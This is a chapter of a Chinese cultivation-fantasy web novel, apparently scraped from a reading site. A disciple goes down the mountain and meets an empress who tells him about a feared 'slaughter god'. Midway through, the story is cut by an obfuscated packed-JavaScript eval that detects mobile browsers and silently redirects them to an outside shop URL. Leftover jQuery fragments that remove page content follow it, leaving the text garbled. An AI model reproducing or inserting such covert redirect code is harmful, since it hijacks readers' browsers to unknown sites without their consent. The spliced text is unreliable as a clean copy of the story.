文趣网 > 其他小说 > 师妹怎么是块木头 > 31. 众生相(四)
    天光大亮,早起的鲜活又年轻身影已经开始给诸位长辈拜年。

    南栖梧正在运转灵力,平衡体内杀气和坐忘之力,听到外面有人在小声讨论,眼风掠过,门应声而开,只见乌泱泱的一片,有点印象却谈不上熟悉的诸位师姐堵在外面,道:“小师妹,快出来!”

    闻言,她迟疑地抬了抬眼,便乖乖地走过去。

    随后手上就被塞了个大大的锦囊,紧接着就是接二连三的东西塞到她手中,很快就抱不下了。

    铺天盖地的祝福围绕着她,南栖梧一时间有些无措,除了回答“谢谢”“同祝”之外,实在是应付不过来。

    不过师兄师姐们都善解人意,知道她不擅表达,从来不会为难她。

    *

    送走热情的同门后,房梁上倒挂下来个脑袋。

    鹅黄的身影笑盈盈道:“早上好啊,栖梧。”

    苏惊榆从屋顶上翻下来,灵活落地,扬了扬手中鼓鼓囊囊的钱袋,满脸骄傲道:“托你的福,这几天赚到的比在国师那边累死累活几个月赚到的还要多得多!”

    南栖梧垂眸思考了下:“一定是国师的错。你不回国师府吗?”

    “我?国师府又不是我的来处。大家都各自回家去了,我得了闲,又不想浪费来这里的机会,就来了。”

    南栖梧听了个半懂,感知到她身上有一种极其熟悉的气息,细细辨认一番,自言自语道:“镇魂铃?”

    苏惊榆点点头:“神女大人心善,借我用一段时日,怎么了吗?”

    “没什么。”

    只是这个铃铛似曾相识,但她又想不起来了。

    目光透过苏惊榆,观察到她的经脉已然疏通,可以容纳天地灵气,便出声问道:“你想入乾门吗?”

    “诶?我可以吗?”她眼中划过一抹希冀,雀跃之色顿时显现,但随即又黯淡下去:“可是我还被国师府中的事务缠着,没法潜心修行……”

    “况且,曾经听说过山上清修的日子,我也不确定能否坚持下来……”

    南栖梧轻轻拍了拍她的肩膀:“可以入丹道,很适合你。”

    苏惊榆希望再度燃起:“平日来不了这里,也可以吗……?”

    “不过都是对着典籍自己尝试,在山上和山下的操作也并无不同。”南栖梧淡淡道,并不觉得修行丹道有什么稀奇之处:“用的材料略有点不同,需要此地灵草。不过这点不必担心,我可以给你带。”

    “遇到疑惑,也可来乾门,修丹道的师兄师姐都会告诉你。”

    南栖梧往前走了几步,微微侧过身,示意她跟上。

    她带着苏惊榆往灵圃去。园圃很大,中间开了两道引水小沟,清澈见底。蝶鹤戏水,好不畅快。园子上方笼罩着一层淡淡的泛光的雾,朦胧飘渺,看得人心神宁静。

    “况且,炼制的丹药强魂固体,你的经脉已经打通,日后凭丹药往来乾门与人间,不需要镇魂铃。”

    苏惊榆听得十分心动,除了南栖梧告诉她的好处之外,还有另一个点很戳她,那就是——她闻到了商机!

    好像看见无数财宝在向她招手了!这种怎么想怎么美滋滋的事情,她为什么不做!

    修,修的就是丹道!

    二人一拍即合,逛完灵圃后,南栖梧又带着她去了趟藏书阁,取了几本药经。

    苏惊榆抱着那几本书,想到系统给出的建议,斟酌着开口问道:“对了栖梧,那个叫祁无的高马尾小哥,他怎么样了?”

    南栖梧回忆一番,道:“看起来是受了点刺激,道心不稳,二师兄把他带走了,怎么了?”

    苏惊榆道:“没什么,就是不小心瞥到了眼,感觉有点吓人……”

    从骨子里透露出来的不甘和愤怒,这副模样她最熟悉了。而且他后来在地上翻滚,面目扭曲,有点瘆人,也不知是不是她的错觉。

    说曹操曹操到,回去的路上祁无正神色恹恹地恰好朝她们走来,面色有些苍白。

    他步履匆匆,看到南栖梧,猛然顿住脚步:“师、师妹。”

    一副做贼心虚的样子。

    南栖梧不着痕迹地观察着他的灵,确保面前这人是祁无,而不是其他妖魔伪装的。

    “祁师兄要下山?”她问道。

    祁无紧紧盯着地面,声音很低:“师尊说我道心不稳,下山历练一下。”

    “原来如此。”南栖梧没看出什么问题,随口问完正准备走。

    “师妹……不一起吗?”他讪讪道。

    南栖梧狐疑地盯着他:“我的道心很稳。”

    “况且,师尊既然要你下去历练,祁师兄若想让我同行,历练的意义又何在?”

    她有理有据反驳完,拉着苏惊榆直接走掉了。

    祁无握剑的手不住地颤抖,识海阵阵发疼……

    历练……历练……

    他强压那股没由来的躁意,眼里一丝杀气明明灭灭。忍着钻心般的剧痛,他看了看手中的那枚刻着捉妖人令牌,初入皇城那时候得来的。

    “历练……道心……”

    他喃喃自语着,再度去到了皇城。

    *

    人间尚沉浸在节日的浓烈氛围中,张灯结彩,走街串巷,时不时传来噼里啪啦表演杂耍的响和围观人们的喝彩欢呼。

    祁无茫然穿梭在人群中间,不知道要去往何处,如何历练道心。

    一片祥和,练妖物的影子都见不到,他挂着个捉妖人的牌子在街上游荡,显得有点滑稽。

    他垂着眼,不知漫无目的走了多久,闻到了一阵檀香味。

    “这位道长……”

    开口的是位雍容华贵,面带悲悯的女子。

    分明没有下雨,但她撑着一把油纸伞,另一只手捻着串佛珠,看着他的目光甚至带了点慈爱,如同庙堂中刻画的悲天悯人的观世音菩萨化身。

    语气也是极其温柔,丝毫不掩饰话中的赞许:“逢此佳节,道长竟然还在外面巡游。大雍能有您这样的人才,实乃幸事。”

    “可,您的亲朋呢?为何不在身边?”女子捋了捋耳边散下来的碎发,眼中全是担忧:“若您不嫌弃,宫中也有给您落脚的地方。”

    祁无心中一颤,忙拱手道:“多谢……皇后娘娘。”

    苍沅将他扶正,收伞,姿态优雅地提裙转身:“天色已晚,我也该回去了。道长请随我来。”

    祁无犹豫了一瞬,还是抬脚跟上。

    不知怎的,走在苍沅身边,莫名生出了想哭的冲动。

    想跪在她的脚边,诉说他的一切,想求得她垂怜。

    二人保持着合适的距离,苍沅出声打破了沉默:“不知,道长的名字?”

    “祁无。”

    “倒是个难见的姓氏,可惜单字一个‘无’。”苍沅面露惋惜之色。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753153|207707||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “不可惜,无执念,便可潜心修行,最终归于大道。”祁无道。

    苍沅会心一笑:“那便祝愿道长早日得仙。”

    “娘娘怎的一个人出来,不危险吗?”祁无总觉得有几分不对,想从她的脸上看出点端倪来。

    苍沅坦率道:“大病初愈不久,想出来转转,不喜有旁人打扰。况且这逢年过节的,宫中的人儿也需要时间,不过一个皇后名头罢了,又不是当真不能自理,连走个路都需要人时时刻刻盯着。”

    一来二去,祁无倒是觉得大雍的皇后真是个明事理的,心中那点顾虑也消失不见。

    他明显地放松了很多,问:“不知娘娘近日可有遇到烦心事?”

    此话一出,苍沅的神情顿时凝重了几分,颇有些不安地转着手上的佛珠,过了会儿才问道:“身为一国皇后,我自诩光明磊落,从没做过什么对不起黎民苍生的事情。道长您说,太过光明的人,会有什么不好的下场吗?”

    祁无细细思索了一番,这个问题他还没有遇到过,便答道:“师尊曾言世上因果变数种种,谁也无法预料。不过以娘娘的为人,吉人自有天相,定是福泽无疆。”

    可惜这话并没有安慰到苍沅。她轻轻按了按心口,惴惴不安道:“实不相瞒,近日我总是做着同一个噩梦。”

    “好多血,好多刀,有一个人一直想要杀我。她身法鬼魅,像入魔了的修士。”

    她没等他开口,继续道:“曾经翻阅闲书时,偶然瞥见很久之前有一杀神,那段记录实在是骇人,我不想回忆……”

    “道长,您说,那祸害苍生的杀神,会不会再度杀回人间来?”

    祁无没有接话,眉头紧皱。

    整个修真界谈之色变的,一个邪神,另一个便是杀神。

    邪神的故事流传倒广,杀神的事迹却寥寥无几。且都很琐碎,空缺了许多。只得拼点细细碎碎的东西。

    大概就是,杀神,上古凶神也,以杀入道,性格暴戾,无敬畏,无怜悯。

    她在人间掀起了一场腥风血雨,闹得生灵涂炭,后来被上面几位联手封印,这才堪堪稳住了大乱的局势。

    所有人都唾弃她,说她死不足惜,咒她魂飞魄散,永世不得入轮回。

    后来杀道便被列为了禁法,也是怕灾祸再现。

    但以前的乾门依旧出过修杀道的前辈,她没有祸害天下,而是直接飞升了。

    飞升的道机,就是她屠灭了整座妖城。作为修真界第一个修行杀道,还成功飞升的修士,众人对她褒贬不一,有说她的杀伐只针对那些妖物,从没滥杀无辜,虽修这种道术,但意志足够,飞升成功就是她道心的最好的证明;

    也有人全盘否定,说只要是杀道,便是十恶不赦,早晚都会危害人间,就算是仙人之躯,也要警惕。

    后者应验了,但只应验了一半。

    那位前辈飞升后,无法平息体内日益躁动的杀意,毕竟是杀道,过不了清修的日子,总得沾点血才畅快。让她老老实实当仙人,无异于让常年吃肉的人顿顿吃素。

    尽管她极力克制,但暴动从未平息。虽不曾造成实质性灾祸,还是被天下声讨,要求剥夺她的仙籍,彻底封印,根除祸害。

    那场封印乾门并未参与。只是从此之后,修真界对“杀道”讳莫如深。

    苍沅的声音将他从思绪拉回现实:“道长,到皇宫了。”